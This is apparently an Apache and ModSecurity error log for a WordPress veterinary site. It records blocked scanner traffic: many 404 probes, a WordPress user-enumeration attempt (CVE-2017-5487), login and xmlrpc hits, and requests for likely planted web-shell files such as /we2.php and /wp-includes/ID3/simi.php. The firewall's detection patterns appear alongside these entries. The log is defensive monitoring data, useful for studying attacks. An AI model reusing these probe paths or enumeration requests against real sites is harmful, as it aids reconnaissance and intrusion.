[Thu Dec 25 19:13:06.733491 2025] [:error] [pid 64974:tid 65037] [client 4.241.194.62:55167] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aU0cQjhp3-5Lb4YPPN-sigAAAsY"]
[Thu Dec 25 19:13:07.521990 2025] [:error] [pid 64879:tid 64884] [client 4.241.194.62:53894] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aU0cQzalwsF0a14CkLOiZAAAAYM"]
[Thu Dec 25 19:13:07.855109 2025] [:error] [pid 64975:tid 65068] [client 4.241.194.62:55121] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aU0cQyXyboSuXIThjj6RmgAAAwo"]
[Thu Dec 25 19:13:08.370689 2025] [:error] [pid 64820:tid 64848] [client 4.241.194.62:53911] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aU0cRMSuTdTvkipi5406vAAAAVg"]
[Thu Dec 25 19:13:08.915477 2025] [:error] [pid 31569:tid 31588] [client 4.241.194.62:38572] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aU0cRGiSFBH7Ee_uldXeAQAAAA8"]
[Thu Dec 25 19:13:09.267479 2025] [:error] [pid 64820:tid 64832] [client 4.241.194.62:53914] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aU0cRcSuTdTvkipi5406wAAAAUg"]
[Thu Dec 25 19:13:09.735141 2025] [:error] [pid 64910:tid 64959] [client 4.241.194.62:11719] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aU0cRees2ob7vYHBZqB1PAAAAhI"]
[Thu Dec 25 19:13:57.028154 2025] [:error] [pid 31570:tid 31600] [client 4.241.194.62:55155] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx1.php"] [unique_id "aU0cdWPy2DpAzW_4a2hG5QAAAEA"]
[Thu Dec 25 19:13:57.621878 2025] [:error] [pid 31569:tid 31575] [client 4.241.194.62:29323] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx1.php"] [unique_id "aU0cdWiSFBH7Ee_uldXeWQAAAAI"]
[Thu Dec 25 19:13:57.917898 2025] [:error] [pid 64820:tid 64841] [client 4.241.194.62:29318] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx1.php"] [unique_id "aU0cdcSuTdTvkipi5407WQAAAVE"]
[Thu Dec 25 19:13:58.156978 2025] [:error] [pid 64971:tid 64992] [client 4.241.194.62:38591] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx1.php"] [unique_id "aU0cdqqyk1GkxTrDJixHjQAAAk8"]
[Thu Dec 25 21:38:05.330609 2025] [:error] [pid 27869:tid 27878] [client 136.117.120.125:49955] [client 136.117.120.125] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.117.120.125, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aU0-PRNK7_n86kBD7qfLPQAAAIc"]
[Thu Dec 25 21:38:08.164288 2025] [:error] [pid 27869:tid 27891] [client 136.117.120.125:49955] [client 136.117.120.125] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aU0-QBNK7_n86kBD7qfLVAAAAJQ"]
[Thu Dec 25 21:38:10.351056 2025] [:error] [pid 27869:tid 27887] [client 136.117.120.125:49955] [client 136.117.120.125] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.117.120.125, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aU0-QhNK7_n86kBD7qfLXgAAAJA"]
[Thu Dec 25 22:00:44.444708 2025] [:error] [pid 22043:tid 22048] [client 34.7.195.231:59653] [client 34.7.195.231] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.7.195.231, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aU1DjD4YVtlb2Iz_QE5PogAAAAA"]
[Thu Dec 25 22:00:47.345974 2025] [:error] [pid 22043:tid 22064] [client 34.7.195.231:59653] [client 34.7.195.231] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aU1Djz4YVtlb2Iz_QE5PrQAAABA"]
[Thu Dec 25 22:00:49.712478 2025] [:error] [pid 22043:tid 22048] [client 34.7.195.231:59653] [client 34.7.195.231] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.7.195.231, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aU1DkT4YVtlb2Iz_QE5PtAAAAAA"]
[Thu Dec 25 22:04:36.291074 2025] [ssl:error] [pid 27869:tid 27890] [client 15.204.183.221:34100] AH02032: Hostname macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: http://macfieldsvet.com.au/
[Thu Dec 25 22:20:54.921650 2025] [autoindex:error] [pid 22131:tid 22147] [client 174.138.85.139:57141] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Thu Dec 25 22:58:20.709471 2025] [ssl:error] [pid 22045:tid 22111] [client 15.204.183.221:35730] AH02032: Hostname www.macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: http://www.macfieldsvet.com.au/
[Thu Dec 25 23:49:36.077118 2025] [:error] [pid 22044:tid 22097] [client 4.194.112.239:28750] [client 4.194.112.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.194.112.239, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU1dEHPTC5rQKTB0FQ_GNAAAANY"], referer: https://www.google.co.uk/
[Thu Dec 25 23:49:41.342675 2025] [autoindex:error] [pid 22045:tid 22104] [client 4.194.112.239:28783] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Thu Dec 25 23:49:44.851877 2025] [autoindex:error] [pid 22045:tid 22119] [client 4.194.112.239:28783] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Thu Dec 25 23:49:48.099216 2025] [autoindex:error] [pid 22044:tid 22085] [client 4.194.112.239:28750] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Thu Dec 25 23:49:53.257658 2025] [:error] [pid 22044:tid 22077] [client 4.194.112.239:28750] [client 4.194.112.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.194.112.239, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU1dIXPTC5rQKTB0FQ_GjwAAAMI"], referer: https://www.google.de/
[Thu Dec 25 23:49:55.213913 2025] [autoindex:error] [pid 22044:tid 22091] [client 4.194.112.239:30566] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Thu Dec 25 23:49:58.454709 2025] [autoindex:error] [pid 22044:tid 22088] [client 4.194.112.239:28750] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Thu Dec 25 23:49:58.549042 2025] [autoindex:error] [pid 22044:tid 22081] [client 4.194.112.239:30566] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Thu Dec 25 23:50:02.437826 2025] [:error] [pid 22044:tid 22092] [client 4.194.112.239:28750] [client 4.194.112.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.194.112.239, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU1dKnPTC5rQKTB0FQ_GtQAAANE"], referer: https://www.bing.com/
[Thu Dec 25 23:50:41.236159 2025] [autoindex:error] [pid 22044:tid 22081] [client 4.194.112.239:28750] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Thu Dec 25 23:50:45.187737 2025] [autoindex:error] [pid 22044:tid 22082] [client 4.194.112.239:30566] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Thu Dec 25 23:50:45.294718 2025] [:error] [pid 22044:tid 22088] [client 4.194.112.239:30566] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/simi.php"] [unique_id "aU1dVXPTC5rQKTB0FQ_HJAAAAM0"], referer: https://www.google.fr/
[Thu Dec 25 23:50:45.713456 2025] [autoindex:error] [pid 22045:tid 22103] [client 4.194.112.239:32444] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Thu Dec 25 23:50:45.801662 2025] [:error] [pid 22045:tid 22107] [client 4.194.112.239:32444] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aU1dVasGGmXjDnvlmHuMdgAAAUU"], referer: https://www.google.co.uk/
[Thu Dec 25 23:50:45.976949 2025] [:error] [pid 22043:tid 22071] [client 4.194.112.239:33782] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aU1dVT4YVtlb2Iz_QE5wbAAAABc"], referer: https://www.google.fr/
[Thu Dec 25 23:50:46.168014 2025] [:error] [pid 22044:tid 22078] [client 4.194.112.239:31787] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/autoload_classmap.php"] [unique_id "aU1dVnPTC5rQKTB0FQ_HJgAAAMM"], referer: https://www.google.de/
[Thu Dec 25 23:50:46.342782 2025] [:error] [pid 22043:tid 22056] [client 4.194.112.239:31750] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aU1dVj4YVtlb2Iz_QE5wbgAAAAg"], referer: https://www.google.com/
[Thu Dec 25 23:50:46.527783 2025] [autoindex:error] [pid 22045:tid 22116] [client 4.194.112.239:33683] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Thu Dec 25 23:50:46.627454 2025] [autoindex:error] [pid 22045:tid 22121] [client 4.194.112.239:33683] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/Engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Thu Dec 25 23:50:46.721669 2025] [:error] [pid 22045:tid 22118] [client 4.194.112.239:33683] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aU1dVqsGGmXjDnvlmHuMeQAAAVA"], referer: https://www.google.com/
[Thu Dec 25 23:50:46.908422 2025] [:error] [pid 22044:tid 22099] [client 4.194.112.239:32459] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aU1dVnPTC5rQKTB0FQ_HKAAAANg"], referer: https://www.google.fr/
[Thu Dec 25 23:50:47.102709 2025] [:error] [pid 22043:tid 22062] [client 4.194.112.239:33702] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aU1dVz4YVtlb2Iz_QE5wbwAAAA4"], referer: https://www.yahoo.com/
[Thu Dec 25 23:50:47.312074 2025] [autoindex:error] [pid 27869:tid 27876] [client 4.194.112.239:32501] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Thu Dec 25 23:50:47.421184 2025] [autoindex:error] [pid 27869:tid 27891] [client 4.194.112.239:32501] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Thu Dec 25 23:50:47.524781 2025] [autoindex:error] [pid 27869:tid 27871] [client 4.194.112.239:32501] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/code/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Thu Dec 25 23:50:47.623660 2025] [autoindex:error] [pid 27869:tid 27887] [client 4.194.112.239:32501] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Thu Dec 25 23:50:47.714765 2025] [:error] [pid 27869:tid 27882] [client 4.194.112.239:32501] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/autoload_classmap.php"] [unique_id "aU1dVxNK7_n86kBD7qcLOAAAAIs"], referer: https://www.yahoo.com/
[Thu Dec 25 23:50:47.890239 2025] [:error] [pid 27869:tid 27885] [client 4.194.112.239:31754] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aU1dVxNK7_n86kBD7qcLPAAAAI4"], referer: https://www.yahoo.com/
[Thu Dec 25 23:50:48.065380 2025] [:error] [pid 22131:tid 22155] [client 4.194.112.239:31846] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/html-api/index.php"] [unique_id "aU1dWJvVMtSTB4lX2fZVBwAAAFM"], referer: https://duckduckgo.com/
[Thu Dec 25 23:50:48.249718 2025] [autoindex:error] [pid 27869:tid 27877] [client 4.194.112.239:33727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Thu Dec 25 23:50:48.337601 2025] [:error] [pid 27869:tid 27875] [client 4.194.112.239:33727] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/index.php"] [unique_id "aU1dWBNK7_n86kBD7qcLPgAAAIQ"], referer: https://www.google.com/
[Thu Dec 25 23:50:48.519810 2025] [:error] [pid 27869:tid 27876] [client 4.194.112.239:32404] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aU1dWBNK7_n86kBD7qcLQAAAAIU"], referer: https://www.google.co.uk/
[Thu Dec 25 23:50:48.699860 2025] [autoindex:error] [pid 22044:tid 22098] [client 4.194.112.239:33108] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Thu Dec 25 23:50:48.794961 2025] [autoindex:error] [pid 22044:tid 22097] [client 4.194.112.239:33108] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Thu Dec 25 23:50:48.893872 2025] [autoindex:error] [pid 22044:tid 22083] [client 4.194.112.239:33108] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/dist/development/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
